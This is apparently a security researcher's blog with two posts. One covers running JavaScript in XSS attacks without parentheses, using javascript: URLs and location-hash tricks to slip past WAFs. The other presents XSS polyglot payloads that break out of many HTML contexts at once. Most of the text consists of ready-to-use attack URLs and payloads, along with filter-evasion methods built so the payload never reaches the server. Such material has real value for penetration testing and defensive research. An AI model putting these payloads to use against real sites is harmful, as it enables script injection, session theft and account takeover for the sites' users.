Running javascript without using parentheses

(5 minute read)

When trying to exploit XSS, filters/WAFs that forbid the use of parentheses are one of the toughest limitations I have come across, mainly due to the fact that sometimes all sorts of escapes and encodings are blocked.

Portswigger researcher Gareth Heyes (@garethheyes) even dedicated an entire chapter of his latest book "JavaScript for hackers" to illustrate different methods of running javascript that does not use parentheses. However, this post is not going to go over Gareth's techniques.

The easiest way to avoid parenthesis is by using grave accents:

alert``

However, these are also blocked very often.

Another thing you can do is to find a way to evaluate a string so that the parentheses can be escaped and/or encoded. Some functions that do this are:

eval('alert\x28 0 \x29');
setTimeout('alert\x28 0 \x29', 0);
Function('alert\x28 0 \x29')();

However, the invocation of such functions needs parentheses as well.

The solution is to use javascript: protocol URLs, these can be assigned to window.location or document.location just like any other variable assignment.

window.location = 'javascript: alert(0)';
window.location = 'javascript: alert\x28 0 \x29';

What happens if all possible escapes and encodings are blocked as well?
( \x28 \x29 \u0028 \u0029 \u{28} \u{29} \u{00000028} \u{00000029} \50 \51 )

Place the payload in the location hash and just assign location to itself.

location = 'javascript:/*' + location;
or
location = 'javascript:/*' + location.hash;

The payload goes after the location.hash after a comment-terminator */. This is the best way to go because it means it will never reach the server-side and the WAF will not see it.

https://vulnerable.com/?xss=<img src onerror="location='javascript:/*' + location;" />#*/ alert(0);alert(1);

Another way to do it would be to use a single-line comment // like this:

https://vulnerable.com/?xss=<img src onerror="location='javascript://' + location;" />#%0a alert(0);alert(1);

The double-slash (//) after the javascript: protocol is a single-line comment that comments-out the whole URL until it reaches the new-line %0A after the #, the %0A gets decoded into a new-line breaking out of the single-line comment, then the payload follows and is executed. If the cross-site scripting is server-side the payload doesn't reach the server.

The idea behind this type of attack vector came from Eduardo Vela's and David Lindsay's Black Hat 2009 presentation.
https://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf (slide 18 and 22) Originally the code was meant to be evaluated with eval() which requires the use of parenthesis, but by tweaking it out a little parentheses can be avoided.

Using XSS Polyglots For Detecting Blind XSS Vulnerabilities

( < 5 minute read)

Awesome security researcher @filedescriptor (a member of Cure53 who never uses his real name to remain anonymous) ran a XSS challenge in which competitors had to craft a XSS polyglot that works across 16 different contests:

  1. <div>{{payload}}</div>
  2. <div {{payload}}>text</div>
  3. <div class="{{payload}}">text</div>
  4. <div class='{{payload}}'>text</div>
  5. <div class={{payload}}>text</div>
  6. <title>{{payload}}</title>
  7. <textarea>{{payload}}</textarea>
  8. <style>{{payload}}</style>
  9. <script>"{{payload}}"</script>
  10. <script>{{payload}}</script>
  11. <script>"{{payload}}"</script>
  12. <script>'{{payload}}'</script>
  13. <a href="{{payload}}">text</a>
  14. <!-- {{payload}} -->
  15. <script>// {{payload}}</script>
  16. <script>/* \n{{payload}}} \n*/</script>

Among the winners of this challenge I recognized some names such as @orenhafif Facebook Security Engineer who won 1st place, and in 2nd there is @molnar_g Google Security Engineer. It was actually a tie, they both crafted a payload 87 characters long.

I did send a submission but I didn't figure among the top contestants. 6 years later I spent a day trying to see if I could shorten my vector and to my big surprise I managed to make a vector 3 bytes shorter than the winning vectors!

javascript:/*</title></textarea></style --> </script><a/onclick='//"/**/%0aalert()//'>

These polyglots are particularly useful for detecting blind XSS vulnerabilities.

I decided to improve it so that it works in every possible context:

<script>xss</script>
<script>a='
xss'</script>
<script>a="
xss"</script>
<script>a="
xss"</script>
<script>//
xss</script>
<script>/*
xss*/</script>
<a href='
xss'></a>
<title>
xss</title>
<textarea>
xss</textarea>
<style>xss</style>
<div>
xss</div>
<div
xss></div>
<div class='
xss'></div>
<div class="
xss"></div>
<div class=
xss></div>
<noscript>
xss</noscript>
<noembed>
xss</noembed>
<!--
xss -->
<xmp>
xss</xmp>
<math>xss</math>
<frameset>
xss</frameset>

The resulting vector is:

javascript:/*</title></textarea></style --></xmp></script></noembed></noscript></math><svg/onload='//"/**/%0aonmouseover=alert()//'>

You can also add a ${{7*7}} at the very end to test against template injections as well.

Besides for Blind XSS, this vector is also good for optimizing the process of finding regular cross-site scripting vulnerabilities. Instead of having to send 21 requests to each parameter when testing an application, you only have to make 1 request. This gets the job done in approximately only 5% of the time.

Can you make it even shorter? Let me know in the comments or through X (@ruben_v_pina)

 
You can follow me on X to stay updated: @ruben_v_pina